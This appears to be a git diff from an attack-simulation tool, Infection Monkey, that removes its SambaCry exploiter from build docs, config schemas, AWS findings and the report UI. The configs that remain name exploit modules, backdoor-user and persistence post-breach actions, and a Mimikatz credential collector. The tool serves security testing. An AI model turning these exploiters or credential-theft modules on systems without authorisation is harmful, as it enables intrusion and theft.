- Run the following command on a cmd console (Replace C:\Python37 with your python directory if it's different)
`setx /M PATH "%PATH%;C:\Python37;C:\Python37\Scripts`
- Close the console, make sure you execute all commands in a new cmd console from now on.
2. Install further dependencies
1. Install further dependencies
- if not installed, install Microsoft Visual C++ 2017 SP1 Redistributable Package
- 32bit: <https://aka.ms/vs/16/release/vc_redist.x86.exe>
- 64bit: <https://go.microsoft.com/fwlink/?LinkId=746572>
3. Download the dependent python packages using
1. Download the dependent python packages using
`pip install -r requirements.txt`
4. Download and extract UPX binary to monkey\infection_monkey\bin\upx.exe:
1. Download and extract UPX binary to monkey\infection_monkey\bin\upx.exe:
<https://github.com/upx/upx/releases/download/v3.94/upx394w.zip>
5. Build/Download Sambacry
- Build/Download according to sections at the end of this readme.
- Place the binaries under monkey\infection_monkey\bin
6. To build the final exe:
1. To build the final exe:
- `cd monkey\infection_monkey`
- `build_windows.bat`
- output is placed under `dist\monkey32.exe` or `dist\monkey64.exe` depending on your version of Python
@ -37,7 +31,7 @@ The monkey is composed of three separate parts.
## Linux
Tested on Ubuntu 16.04.
0. On older distributions of Ubuntu (16.04) you'll need to download python3.7 via ppa:
1. On older distributions of Ubuntu (16.04) you'll need to download python3.7 via ppa:
- `sudo add-apt-repository ppa:deadsnakes/ppa`
- `sudo apt-get update`
- `sudo apt install python3.7`
@ -47,37 +41,18 @@ Tested on Ubuntu 16.04.
- `python3.7 -m pip install pip`
- `sudo apt-get install python3.7-dev libffi-dev upx libssl-dev libc++1`
2. Install the python packages listed in requirements.txt using pip
1. Install the python packages listed in requirements.txt using pip
- `cd [code location]/infection_monkey`
- `python3.7 -m pipenv lock -r --dev > requirements.txt`
- `python3.7 -m pip install -r requirements.txt`
3. Build Sambacry binaries
- Build/Download according to sections at the end of this readme.
- Place the binaries under [code location]/infection_monkey/bin, under the names 'sc_monkey_runner32.so', 'sc_monkey_runner64.so'
4. To build, run in terminal:
1. To build, run in terminal:
- `cd [code location]/infection_monkey`
- `chmod +x build_linux.sh`
- `pipenv run ./build_linux.sh`
output is placed under `dist/monkey32` or `dist/monkey64` depending on your version of python
### Sambacry
Sambacry requires two standalone binaries to execute remotely.
1. Build sambacry binaries yourself
- Install gcc-multilib if it's not installed `sudo apt-get install gcc-multilib`
- Build the binaries
1. `cd [code location]/infection_monkey/exploit/sambacry_monkey_runner`
2. `./build.sh`
2. Download our pre-built sambacry binaries
- Available here:
- 32bit: <https://github.com/guardicore/monkey/releases/download/1.6/sc_monkey_runner32.so>
- 64bit: <https://github.com/guardicore/monkey/releases/download/1.6/sc_monkey_runner64.so>
### Troubleshooting
Some of the possible errors that may come up while trying to build the infection monkey:

View File

@ -18,7 +18,6 @@ BASIC = {
"WmiExploiter",
"SSHExploiter",
"ShellShockExploiter",
"SambaCryExploiter",
"ElasticGroovyExploiter",
"Struts2Exploiter",
"WebLogicExploiter",

View File

@ -74,15 +74,6 @@ EXPLOITER_CLASSES = {
"link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters"
"/shellshock/",
},
{
"type": "string",
"enum": ["SambaCryExploiter"],
"title": "SambaCry Exploiter",
"safe": True,
"info": "Bruteforces and searches for anonymous shares. Uses Impacket.",
"link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters"
"/sambacry/",
},
{
"type": "string",
"enum": ["ElasticGroovyExploiter"],

View File

@ -373,45 +373,6 @@ INTERNAL = {
},
},
},
"sambacry": {
"title": "SambaCry",
"type": "object",
"properties": {
"sambacry_trigger_timeout": {
"title": "SambaCry trigger timeout",
"type": "integer",
"default": 5,
"description": "Timeout (in seconds) of SambaCry trigger",
},
"sambacry_folder_paths_to_guess": {
"title": "SambaCry folder paths to guess",
"type": "array",
"uniqueItems": True,
"items": {"type": "string"},
"default": [
"/",
"/mnt",
"/tmp",
"/storage",
"/export",
"/share",
"/shares",
"/home",
],
"description": "List of full paths to share folder for SambaCry to "
"guess",
},
"sambacry_shares_not_to_check": {
"title": "SambaCry shares not to check",
"type": "array",
"uniqueItems": True,
"items": {"type": "string"},
"default": ["IPC$", "print$"],
"description": "These shares won't be checked when exploiting with "
"SambaCry",
},
},
},
},
"smb_service": {
"title": "SMB service",

View File

@ -75,7 +75,6 @@ class AWSExporter(Exporter):
CredentialType.PASSWORD.value: AWSExporter._handle_smb_password_issue,
CredentialType.HASH.value: AWSExporter._handle_smb_pth_issue,
},
ExploiterDescriptorEnum.SAMBACRY.value.class_name: AWSExporter._handle_sambacry_issue,
"shared_passwords": AWSExporter._handle_shared_passwords_issue,
ExploiterDescriptorEnum.WMI.value.class_name: {
CredentialType.PASSWORD.value: AWSExporter._handle_wmi_password_issue,
@ -192,24 +191,6 @@ class AWSExporter(Exporter):
instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None,
)
@staticmethod
def _handle_sambacry_issue(issue, instance_arn):
return AWSExporter._build_generic_finding(
severity=10,
title="Samba servers are vulnerable to 'SambaCry'",
description="Change {0} password to a complex one-use password that is not shared "
"with other computers on the "
"network. Update your Samba server to 4.4.14 and up, "
"4.5.10 and up, or 4.6.4 and up.".format(issue["username"]),
recommendation="The machine {0} ({1}) is vulnerable to a SambaCry attack. The "
"Monkey authenticated over the SMB "
"protocol with user {2} and its password, and used the SambaCry "
"vulnerability.".format(issue["machine"], issue["ip_address"], issue["username"]),
instance_arn=instance_arn,
instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None,
)
@staticmethod
def _handle_smb_pth_issue(issue, instance_arn):

View File

@ -28,7 +28,6 @@ class ExploiterDescriptorEnum(Enum):
SMB = ExploiterDescriptor("SmbExploiter", "SMB Exploiter", CredExploitProcessor)
WMI = ExploiterDescriptor("WmiExploiter", "WMI Exploiter", CredExploitProcessor)
SSH = ExploiterDescriptor("SSHExploiter", "SSH Exploiter", CredExploitProcessor)
SAMBACRY = ExploiterDescriptor("SambaCryExploiter", "SambaCry Exploiter", CredExploitProcessor)
ELASTIC = ExploiterDescriptor(
"ElasticGroovyExploiter", "Elastic Groovy Exploiter", ExploitProcessor
)

View File

@ -27,7 +27,6 @@ import {mssqlIssueOverview, mssqlIssueReport} from './security/issues/MssqlIssue
import {drupalIssueOverview, drupalIssueReport} from './security/issues/DrupalIssue';
import {wmiPasswordIssueReport, wmiPthIssueReport} from './security/issues/WmiIssue';
import {sshKeysReport, shhIssueReport, sshIssueOverview} from './security/issues/SshIssue';
import {sambacryIssueOverview, sambacryIssueReport} from './security/issues/SambacryIssue';
import {elasticIssueOverview, elasticIssueReport} from './security/issues/ElasticIssue';
import {shellShockIssueOverview, shellShockIssueReport} from './security/issues/ShellShockIssue';
import {ms08_067IssueOverview, ms08_067IssueReport} from './security/issues/MS08_067Issue';
@ -122,11 +121,6 @@ class ReportPageComponent extends AuthComponent {
},
[this.issueContentTypes.TYPE]: this.issueTypes.DANGER
},
'SambaCryExploiter': {
[this.issueContentTypes.OVERVIEW]: sambacryIssueOverview,
[this.issueContentTypes.REPORT]: sambacryIssueReport,
[this.issueContentTypes.TYPE]: this.issueTypes.DANGER
},
'ElasticGroovyExploiter': {
[this.issueContentTypes.OVERVIEW]: elasticIssueOverview,
[this.issueContentTypes.REPORT]: elasticIssueReport,

View File

@ -1,28 +0,0 @@
import React from 'react';
import CollapsibleWellComponent from '../CollapsibleWell';
export function sambacryIssueOverview() {
return (<li>Samba servers are vulnerable to SambaCry (<a
href="https://www.samba.org/samba/security/CVE-2017-7494.html"
>CVE-2017-7494</a>).</li>)
}
export function sambacryIssueReport(issue) {
return (
<>
Change <span className="badge badge-success">{issue.username}</span>'s password to a complex one-use password
that is not shared with other computers on the network.
<br/>
Update your Samba server to 4.4.14 and up, 4.5.10 and up, or 4.6.4 and up.
<CollapsibleWellComponent>
The machine <span className="badge badge-primary">{issue.machine}</span> (<span
className="badge badge-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to a <span
className="badge badge-danger">SambaCry</span> attack.
<br/>
The Monkey authenticated over the SMB protocol with user <span
className="badge badge-success">{issue.username}</span> and its password, and used the SambaCry
vulnerability.
</CollapsibleWellComponent>
</>
);
}

View File

@ -6,7 +6,6 @@
"WmiExploiter",
"SSHExploiter",
"ShellShockExploiter",
"SambaCryExploiter",
"ElasticGroovyExploiter",
"Struts2Exploiter",
"WebLogicExploiter",
@ -140,23 +139,6 @@
"ms08_067": {
"ms08_067_exploit_attempts": 5,
"user_to_add": "Monkey_IUSER_SUPPORT"
},
"sambacry": {
"sambacry_trigger_timeout": 5,
"sambacry_folder_paths_to_guess": [
"/",
"/mnt",
"/tmp",
"/storage",
"/export",
"/share",
"/shares",
"/home"
],
"sambacry_shares_not_to_check": [
"IPC$",
"print$"
]
}
},
"testing": {
@ -165,29 +147,29 @@
},
"monkey": {
"post_breach": {
"custom_PBA_linux_cmd": "",
"custom_PBA_windows_cmd": "",
"PBA_windows_filename": "",
"PBA_linux_filename": "",
"custom_pba_linux_cmd": "",
"custom_pba_windows_cmd": "",
"pba_windows_filename": "",
"pba_linux_filename": "",
"post_breach_actions": [
"CommunicateAsBackdoorUser",
"ModifyShellStartupFiles",
"HiddenFiles",
"TrapCommand",
"ChangeSetuidSetgid",
"ScheduleJobs",
"Timestomping",
"AccountDiscovery"
"communicateasbackdooruser",
"modifyshellstartupfiles",
"hiddenfiles",
"trapcommand",
"changesetuidsetgid",
"schedulejobs",
"timestomping",
"accountdiscovery"
]
},
"system_info": {
"system_info_collector_classes": [
"EnvironmentCollector",
"AwsCollector",
"HostnameCollector",
"ProcessListCollector",
"MimikatzCollector",
"AzureCollector"
"environmentcollector",
"awscollector",
"hostnamecollector",
"processlistcollector",
"mimikatzcollector",
"azurecollector"
]
},
"persistent_scanning": {

View File

@ -55,7 +55,6 @@ _.password_restored # unused attribute (monkey/monkey_island/cc/services/report
credential_type # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_report_info.py:18)
password_restored # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_report_info.py:23)
SSH # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:30)
SAMBACRY # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:31)
ELASTIC # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:32)
MS08_067 # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:35)
SHELLSHOCK # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:36)